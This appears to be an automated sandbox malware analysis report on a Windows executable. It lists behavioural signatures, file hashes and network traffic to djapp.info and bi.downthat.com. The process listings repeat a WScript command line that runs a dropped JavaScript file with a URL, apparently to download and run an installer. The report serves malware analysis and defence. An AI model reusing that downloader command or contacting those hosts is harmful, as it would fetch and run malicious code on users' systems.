Malware Analysis Report

2024-10-10 07:16

Sample ID 240613-stan9sycpl
Target a63dd5fd04e5d608c9968890e8223253_JaffaCakes118
SHA256 4a400c212c2c636532aebd7a6602e47cfe1e2d33cb552f96c7f98786d88e384d
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

4a400c212c2c636532aebd7a6602e47cfe1e2d33cb552f96c7f98786d88e384d

Threat Level: Likely malicious

The file a63dd5fd04e5d608c9968890e8223253_JaffaCakes118 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Unsigned PE

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 15:24

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 15:24

Reported

2024-06-13 15:27

Platform

win7-20240508-en

Max time kernel

144s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2164 wrote to memory of 2272 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 2272 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 2272 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 2272 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 1624 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 1624 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 1624 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2164 wrote to memory of 1624 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEA1.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufEA1.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEA1.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufEA1.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEA1.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufEA1.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp

Files

C:\Users\Admin\AppData\Local\Temp\fufEA1.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 15:24

Reported

2024-06-13 15:27

Platform

win10v2004-20240611-en

Max time kernel

93s

Max time network

95s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2952 wrote to memory of 3716 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 3716 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 3716 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 4048 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 4048 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 4048 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2952 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 18.119.154.66:80 bi.downthat.com tcp
US 8.8.8.8:53 www.hugedomains.com udp
US 8.8.8.8:53 66.154.119.18.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 18.119.154.66:80 bi.downthat.com tcp
US 172.67.70.191:443 www.hugedomains.com tcp
US 8.8.8.8:53 www.djapp.info udp
US 18.119.154.66:80 bi.downthat.com tcp
US 172.67.70.191:443 www.hugedomains.com tcp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 18.119.154.66:80 bi.downthat.com tcp
US 8.8.8.8:53 www.djapp.info udp
US 18.119.154.66:80 bi.downthat.com tcp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf4F58.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76